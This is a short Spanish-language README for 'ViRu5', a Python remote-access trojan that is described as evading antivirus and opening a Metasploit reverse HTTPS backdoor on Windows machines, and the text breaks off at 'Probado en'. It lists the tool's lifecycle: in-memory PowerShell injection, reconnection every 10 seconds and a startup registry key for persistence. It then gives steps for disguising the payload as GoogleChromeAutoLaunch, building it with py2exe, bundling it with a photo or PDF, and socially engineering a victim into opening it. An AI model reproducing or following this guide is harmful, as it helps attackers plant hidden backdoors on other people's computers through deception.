python-rootkit

Esto es un RAT de Python completamente indetectable que puede evadir casi todos los antivirus y abrir una puerta trasera en cualquier máquina Windows que establecerá una conexión reverse HTTPS de Metasploit a tu máquina a la escucha.

Ciclo de vida de ViRu5

• Evadir todos los antivirus.
• Inyectar un script malicioso de PowerShell en la memoria.
• Establecer una conexión reverse HTTPS a la máquina atacante.
• Verificar cada 10 segundos y asegurarse de que la conexión sigue existiendo. Si no, se restablecerá una nueva conexión.
• Agregar una clave de registro de inicio para reconectar al atacante después de reiniciar.

Pasos

• Actualizar los parámetros de viRu5/source.py con tu lhost y lport
• Cambiar el nombre de source.py a GoogleChromeAutoLaunch.py
• Agregar GoogleChromeAutoLaunch.py, setup.py y tu icono como icon.ico al directorio c:\python27
• Desde cmd ejecutar:
  root@kitploit:~

  cd c:\python27 && python setup.py py2exe
  

• Encontrar el archivo RAT en el directorio Dist.
• Empaquetarlo con cualquier foto, pdf, word o cualquier tipo de archivo
• Enviarlo a la víctima
• Usa tus habilidades de ingeniería social para que abra los archivos
• Recibirás una conexión reverse HTTPS de metasoplit :)

Probado en